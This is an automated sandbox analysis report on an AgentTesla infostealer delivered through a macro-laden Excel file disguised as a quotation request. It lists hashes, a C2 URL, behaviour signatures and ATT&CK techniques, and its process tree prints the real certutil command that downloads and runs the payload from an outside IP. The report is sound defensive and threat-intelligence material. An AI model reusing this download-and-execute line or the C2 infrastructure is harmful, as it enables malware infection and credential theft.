agenttesla | 4689852a6e06ba83be08fe943de1159aa8aaad7e1701b5fae5786ddd0930ba23

General

Target

DocRFQ2050023RFT.xlsm
Size

102KB
MD5

10752bde286212b1e5ec01803a554c03
SHA1

862d54b78dd19d45a980f49201e6acca47857252
SHA256

4689852a6e06ba83be08fe943de1159aa8aaad7e1701b5fae5786ddd0930ba23
SHA512

7f831287482a9be78033ae840bee703a547ba9e35b922548fbbbbdd4a414748b4fead71f3456b726f1b391d686743febf70cc7163729f0a72f9b375cf620cb4e
SSDEEP

3072:yZOKZu86S3Roy9uFwZlsaFPOHYonHBxqPZ5uf:ycYuS/IwZltFPgYonHBxqPZS

Score

10^/10

agenttesla collection keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

C2

http://45.155.165.63/3ip/inc/523ecb38582a9c.php

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4732	4212	cmd.exe	EXCEL.EXE

Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

Bstsrrsxagmkhenpstz.exe.exeBstsrrsxagmkhenpstz.exe.exeBstsrrsxagmkhenpstz.exe.exe

pid process

1300 Bstsrrsxagmkhenpstz.exe.exe
3164 Bstsrrsxagmkhenpstz.exe.exe
1600 Bstsrrsxagmkhenpstz.exe.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1300	Bstsrrsxagmkhenpstz.exe.exe
3164	Bstsrrsxagmkhenpstz.exe.exe
1600	Bstsrrsxagmkhenpstz.exe.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

Bstsrrsxagmkhenpstz.exe.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Bstsrrsxagmkhenpstz.exe.exe
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Bstsrrsxagmkhenpstz.exe.exe
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Bstsrrsxagmkhenpstz.exe.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

Bstsrrsxagmkhenpstz.exe.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\offi = "\"C:\\Users\\Admin\\AppData\\Roaming\\doc\\offi.exe\""	Bstsrrsxagmkhenpstz.exe.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Bstsrrsxagmkhenpstz.exe.exe

description pid process target process

PID 1300 set thread context of 1600 1300 Bstsrrsxagmkhenpstz.exe.exe Bstsrrsxagmkhenpstz.exe.exe

description	pid	process	target process
PID 1300 set thread context of 1600	1300	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4212 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

Bstsrrsxagmkhenpstz.exe.exeBstsrrsxagmkhenpstz.exe.exe

pid process

1300 Bstsrrsxagmkhenpstz.exe.exe
1300 Bstsrrsxagmkhenpstz.exe.exe
1600 Bstsrrsxagmkhenpstz.exe.exe
1600 Bstsrrsxagmkhenpstz.exe.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Bstsrrsxagmkhenpstz.exe.exeBstsrrsxagmkhenpstz.exe.exe

description pid process

Token: SeDebugPrivilege 1300 Bstsrrsxagmkhenpstz.exe.exe
Token: SeDebugPrivilege 1600 Bstsrrsxagmkhenpstz.exe.exe

pid	process
1300	Bstsrrsxagmkhenpstz.exe.exe
1300	Bstsrrsxagmkhenpstz.exe.exe
1600	Bstsrrsxagmkhenpstz.exe.exe
1600	Bstsrrsxagmkhenpstz.exe.exe

description	pid	process
Token: SeDebugPrivilege	1300	Bstsrrsxagmkhenpstz.exe.exe
Token: SeDebugPrivilege	1600	Bstsrrsxagmkhenpstz.exe.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXEBstsrrsxagmkhenpstz.exe.exe

pid	process
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
4212	EXCEL.EXE
1600	Bstsrrsxagmkhenpstz.exe.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

EXCEL.EXEcmd.exeBstsrrsxagmkhenpstz.exe.exe

description	pid	process	target process
PID 4212 wrote to memory of 4732	4212	EXCEL.EXE	cmd.exe
PID 4212 wrote to memory of 4732	4212	EXCEL.EXE	cmd.exe
PID 4732 wrote to memory of 2428	4732	cmd.exe	certutil.exe
PID 4732 wrote to memory of 2428	4732	cmd.exe	certutil.exe
PID 4732 wrote to memory of 1300	4732	cmd.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 4732 wrote to memory of 1300	4732	cmd.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 4732 wrote to memory of 1300	4732	cmd.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1300 wrote to memory of 3164	1300	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1300 wrote to memory of 3164	1300	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1300 wrote to memory of 3164	1300	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1300 wrote to memory of 1600	1300	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1300 wrote to memory of 1600	1300	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1300 wrote to memory of 1600	1300	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1300 wrote to memory of 1600	1300	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1300 wrote to memory of 1600	1300	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1300 wrote to memory of 1600	1300	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1300 wrote to memory of 1600	1300	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1300 wrote to memory of 1600	1300	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe

outlook_office_path 1 IoCs

Processes:

Bstsrrsxagmkhenpstz.exe.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Bstsrrsxagmkhenpstz.exe.exe

outlook_win_path 1 IoCs

Processes:

Bstsrrsxagmkhenpstz.exe.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Bstsrrsxagmkhenpstz.exe.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\DocRFQ2050023RFT.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4212

C:\Windows\SYSTEM32\cmd.exe
cmd /c certutil.exe -urlcache -split -f "http://45.155.165.63/br1/loader/uploads/Doc_2050023_RFT.exe" Bstsrrsxagmkhenpstz.exe.exe && Bstsrrsxagmkhenpstz.exe.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4732

C:\Windows\system32\certutil.exe
certutil.exe -urlcache -split -f "http://45.155.165.63/br1/loader/uploads/Doc_2050023_RFT.exe" Bstsrrsxagmkhenpstz.exe.exe
3⤵
PID:2428

C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
Bstsrrsxagmkhenpstz.exe.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1300

C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
4⤵
- Executes dropped EXE
PID:3164

C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
PID:1600

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

3

T1081

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

3

T1005

Email Collection

1

T1114

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Bstsrrsxagmkhenpstz.exe.exe.log
Filesize
1KB

MD5
7e88081fcf716d85992bb3af3d9b6454

SHA1
2153780fbc71061b0102a7a7b665349e1013e250

SHA256
5ffb4a3ea94a6a53c4f88e2191c6fec5fd8a7336e367aa113fe8c12631e0c4d2

SHA512
ec606e14367ae221c04f213a61a6f797034495121198e4788e3afa4aa8db67bf59c5c5210a56afae5557158e8923b013b371b84c7d64303618c5b4c57a2224f7

Download Submit
C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
Filesize
1.4MB

MD5
10dcb9e5aabe78f2bf22481b70658d15

SHA1
19dad72451cb471f9762a6a7c72e57f2f17197bf

SHA256
fc23a4a16e5f2ad4467d969f7a53b5a67d9d3d33ef3d427c7aa883916f8c251c

SHA512
1afc876a8b5626a38af604a30127b0a1af9d0aa358b7fdb0e544e0f408a6599a7df5283fe09896eee04bd859b1dc0aff83481911a2e4a37bc02f1465f8f3f6dc

Download Submit
C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
Filesize
1.4MB

MD5
10dcb9e5aabe78f2bf22481b70658d15

SHA1
19dad72451cb471f9762a6a7c72e57f2f17197bf

SHA256
fc23a4a16e5f2ad4467d969f7a53b5a67d9d3d33ef3d427c7aa883916f8c251c

SHA512
1afc876a8b5626a38af604a30127b0a1af9d0aa358b7fdb0e544e0f408a6599a7df5283fe09896eee04bd859b1dc0aff83481911a2e4a37bc02f1465f8f3f6dc

Download Submit
C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
Filesize
1.4MB

MD5
10dcb9e5aabe78f2bf22481b70658d15

SHA1
19dad72451cb471f9762a6a7c72e57f2f17197bf

SHA256
fc23a4a16e5f2ad4467d969f7a53b5a67d9d3d33ef3d427c7aa883916f8c251c

SHA512
1afc876a8b5626a38af604a30127b0a1af9d0aa358b7fdb0e544e0f408a6599a7df5283fe09896eee04bd859b1dc0aff83481911a2e4a37bc02f1465f8f3f6dc

Download Submit
C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
Filesize
1.4MB

MD5
10dcb9e5aabe78f2bf22481b70658d15

SHA1
19dad72451cb471f9762a6a7c72e57f2f17197bf

SHA256
fc23a4a16e5f2ad4467d969f7a53b5a67d9d3d33ef3d427c7aa883916f8c251c

SHA512
1afc876a8b5626a38af604a30127b0a1af9d0aa358b7fdb0e544e0f408a6599a7df5283fe09896eee04bd859b1dc0aff83481911a2e4a37bc02f1465f8f3f6dc

Download Submit
memory/1300-141-0x0000000000000000-mapping.dmp

Download
memory/1300-145-0x0000000005CF0000-0x0000000005D12000-memory.dmp

Filesize
136KB

Download
memory/1300-144-0x0000000000F20000-0x0000000001094000-memory.dmp

Filesize
1.5MB

Download
memory/1600-154-0x0000000006200000-0x0000000006266000-memory.dmp

Filesize
408KB

Download
memory/1600-152-0x0000000005A90000-0x0000000006034000-memory.dmp

Filesize
5.6MB

Download
memory/1600-153-0x0000000005610000-0x00000000056AC000-memory.dmp

Filesize
624KB

Download
memory/1600-149-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1600-155-0x00000000068C0000-0x0000000006910000-memory.dmp

Filesize
320KB

Download
memory/1600-161-0x0000000007120000-0x00000000071B2000-memory.dmp

Filesize
584KB

Download
memory/1600-162-0x00000000070F0000-0x00000000070FA000-memory.dmp

Filesize
40KB

Download
memory/1600-148-0x0000000000000000-mapping.dmp

Download
memory/2428-140-0x0000000000000000-mapping.dmp

Download
memory/3164-146-0x0000000000000000-mapping.dmp

Download
memory/4212-132-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

Filesize
64KB

Download
memory/4212-138-0x00007FFA8AF20000-0x00007FFA8AF30000-memory.dmp

Filesize
64KB

Download
memory/4212-137-0x00007FFA8AF20000-0x00007FFA8AF30000-memory.dmp

Filesize
64KB

Download
memory/4212-136-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

Filesize
64KB

Download
memory/4212-135-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

Filesize
64KB

Download
memory/4212-157-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

Filesize
64KB

Download
memory/4212-158-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

Filesize
64KB

Download
memory/4212-159-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

Filesize
64KB

Download
memory/4212-160-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

Filesize
64KB

Download
memory/4212-134-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

Filesize
64KB

Download
memory/4212-133-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

Filesize
64KB

Download
memory/4732-139-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads